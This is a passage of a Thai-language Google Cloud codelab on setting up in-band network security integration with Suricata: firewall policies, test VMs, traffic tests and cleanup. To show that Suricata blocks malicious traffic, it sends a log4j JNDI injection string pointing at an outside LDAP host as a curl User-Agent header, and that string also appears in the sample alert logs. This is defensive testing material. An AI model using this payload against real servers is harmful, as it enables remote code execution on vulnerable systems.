createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
โปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย
จากนั้นคุณจะสร้างโปรไฟล์ความปลอดภัยที่กำหนดเองสำหรับการสกัดกั้นและแนบไปกับกลุ่มโปรไฟล์ความปลอดภัย โปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัยใช้สำหรับการสกัดกั้นแพ็กเก็ตสำหรับอุปกรณ์ของบุคคลที่สาม
- สร้างโปรไฟล์ความปลอดภัยที่กำหนดเอง
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
ตรวจสอบว่าสร้างโปรไฟล์ความปลอดภัยสำเร็จแล้ว
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
ตัวอย่างเอาต์พุต
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- สร้างกลุ่มโปรไฟล์ความปลอดภัย
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
ตรวจสอบว่าสร้าง SPG สำเร็จแล้ว
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
ตัวอย่างเอาต์พุต
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
นโยบาย กฎ และการเชื่อมโยงไฟร์วอลล์
- สร้างนโยบายไฟร์วอลล์เครือข่ายส่วนกลาง
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- สร้างกฎไฟร์วอลล์
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- สร้างกฎไฟร์วอลล์เพื่อสกัดกั้นการรับส่งข้อมูลขาออกทั้งหมดโดยใช้ประโยชน์จาก NSI เพื่อส่งไปยังอุปกรณ์ของบุคคลที่สามอย่างโปร่งใส กฎนี้จะส่งการรับส่งข้อมูลขาออกทั้งหมดของ TCP:80 เพื่อตรวจสอบ
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- เชื่อมโยงนโยบายไฟร์วอลล์ระบบคลาวด์กับเครือข่าย VPC โดยทำดังนี้
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
VM สำหรับผู้บริโภค
- ทำให้ใช้งานได้ VM ที่ใช้เพื่อตรวจสอบ NSI คุณจะทำให้ใช้งานได้ VM 3 รายการใน 3 โซน โปรดทราบว่ามีเพียง 2 โซนเท่านั้นที่เปิดใช้ NSI ในขณะที่ $zonec ไม่ได้เปิดใช้
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
การทดสอบการผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกัน
- SSH เข้าสู่ VM ใน $zonea (consumer-$zonea) ส่งการเข้าชมทดสอบ
gcloud compute ssh consumer-$zonea \ --zone $zonea
- ส่งการเข้าชมทดสอบไปยัง http://www.google.com
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
ผลลัพธ์ที่คาดไว้
200
รหัสสถานะ HTTP 200 แสดงว่าเซิร์ฟเวอร์ได้รับ เข้าใจ และประมวลผลคำขอของไคลเอ็นต์เรียบร้อยแล้ว
- ส่งคำขอ log4j ที่ควรถูกบล็อกโดย Suricata ผ่าน NSI
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
ผลลัพธ์ที่คาดไว้
000
โค้ดตอบกลับ HTTP 000 เป็นรหัสที่ไม่เป็นทางการและไม่ได้มาตรฐานซึ่งซอฟต์แวร์บางตัวใช้เพื่อระบุว่าไม่ได้รับรหัสสถานะ HTTP ที่ถูกต้อง ซึ่งอาจหมายความว่าไฟร์วอลล์บล็อกคำขอ
- กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
- SSH เข้าสู่ VM ใน $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- ในทำนองเดียวกัน ให้ส่งการเข้าชมทดสอบโดยทำดังนี้
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
ผลลัพธ์ที่คาดไว้
200
- ส่งคำขอ log4j
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
ผลลัพธ์ที่คาดไว้
000
- กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
- SSH เข้าสู่ VM ใน $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- ในทำนองเดียวกัน ให้ส่งการเข้าชมทดสอบโดยทำดังนี้
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
ผลลัพธ์ที่คาดไว้
200
- ส่งคำขอ log4j
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
ผลลัพธ์ที่คาดไว้
200
โปรดทราบว่าคำขอนี้ดำเนินการเรียบร้อยแล้ว สิ่งนี้เป็นเรื่องปกติเนื่องจากคุณไม่ได้กำหนดค่า NSI ด้วย $zonec กลุ่มอุปกรณ์ปลายทางการสกัดกั้นมีการเชื่อมโยงสำหรับ $zonea และ $zoneb เท่านั้น
- กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
การตรวจสอบว่า Suricata ได้รับและบล็อกคำขอที่เป็นอันตราย
- ใช้ SSH ไปยัง VM ของ Suricata ใน $zonea (suricata-$zonea) เพื่อตรวจสอบบันทึกโดยใช้คำสั่งต่อไปนี้
gcloud compute ssh suricata-$zonea \ --zone $zonea
- ดูบันทึกโดยกรองตามประเภทการโจมตี
cat /var/log/suricata/eve.json | grep log4j
คุณอาจเห็นรายการบางรายการ หากไม่เห็นรายการใดๆ ให้ตรวจสอบบันทึกของ VM Suricata ใน $zoneb ตัวอย่างเอาต์พุต
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
คุณเลือก SSH เข้าสู่ VM ของ Suricata ใน $zoneb (suricata-$zoneb) และตรวจสอบบันทึกได้
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
ดูบันทึกโดยกรองตามประเภทการโจมตี
cat /var/log/suricata/eve.json | grep log4j
ตัวอย่างเอาต์พุต
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
นอกจากนี้ การดักจับแพ็กเก็ตยังเป็นวิธีที่ดีในการดูและตรวจสอบการรับส่งข้อมูล
คำสั่งนี้จะกรองแพ็กเก็ต GENEVE ตัวอย่างคำสั่ง
sudo tcpdump -i any -nn udp port 6081
ตอนนี้ให้ส่งการเข้าชมทดสอบ 2-3 รายการจาก VM ของผู้บริโภค ตัวอย่างเอาต์พุต
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
โปรดทราบว่าคุณจะเห็นส่วนหัว GENEVE ได้ด้วย tcpdump IP ต้นทางคือ IP ของเกตเวย์ซับเน็ต (10.0.0.1) และ IP ปลายทางคือ IP ของกฎการส่งต่อ (10.0.0.11 หรือ 10.0.0.12) แพ็กเก็ตที่ห่อหุ้มจะมีแพ็กเก็ตเดิม ซึ่งก็คือ IP ไคลเอ็นต์ของ consumer-$zonea (192.168.0.2) หรือ consumer-$zoneb (192.168.0.3) และปลายทาง google.com ซึ่งเป็นการยืนยันว่ามีการสกัดกั้นแพ็กเก็ตและส่งไปยังอุปกรณ์ของบุคคลที่สามผ่านการผสานรวมความปลอดภัยของเครือข่าย
- กลับไปที่ Cloud Shell โดยออกจากเซสชัน SSH
exit
ยินดีด้วย คุณได้ติดตั้งใช้งานและทดสอบสภาพแวดล้อมที่มีการผสานรวมการรักษาความปลอดภัยของเครือข่าย (NSI) ในช่องสัญญาณเดียวกันเรียบร้อยแล้ว
5. ล้าง
ผู้บริโภค
ลบ VM ผู้บริโภค
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
ลบการเชื่อมโยงและนโยบายไฟร์วอลล์
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์ความปลอดภัย
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
ลบการเชื่อมโยงอุปกรณ์ปลายทางและกลุ่มอุปกรณ์ปลายทางที่สกัดกั้น
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
ลบ Cloud NAT, Cloud Router และ IP ที่สงวนไว้
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
ลบ VPC และซับเน็ต
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
ผู้สร้าง
ลบการทำให้ใช้งานได้ของการสกัดกั้น
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
ลบกลุ่มการทำให้ใช้งานได้ของการสกัดกั้น (การทำให้ใช้งานได้ของการสกัดกั้นต้องลบให้เสร็จก่อนที่คำสั่งนี้จะสำเร็จ)
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
ลบกฎการส่งต่อ
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
ลบ IP ที่สงวนไว้ของกฎการส่งต่อ
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
ลบบริการแบ็กเอนด์
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
ลบกลุ่มอินสแตนซ์ที่ไม่มีการจัดการ
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
ลบการตรวจสอบประสิทธิภาพการทำงาน
gcloud compute health-checks delete nva-hc -q
ลบ VM ของ Producer
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
ลบ Cloud NAT, Cloud Router และ IP ที่สงวนไว้โดยทำดังนี้
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
ลบการเชื่อมโยงนโยบาย FW
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
ลบนโยบาย FW
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
ลบ VPC และซับเน็ต
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. ยินดีด้วย
ขอแสดงความยินดี คุณทำ Codelab การผสานรวมการรักษาความปลอดภัยของเครือข่ายในช่องสัญญาณเดียวกันกับ Suricata เสร็จสมบูรณ์แล้ว
ดูวิดีโอสาธิตเฉพาะผู้ให้บริการในช่องสัญญาณเดียวกันของ NSI
ดูคู่มือการติดตั้งของผู้ให้บริการบางรายที่อาจเกี่ยวข้องกับองค์กรของคุณ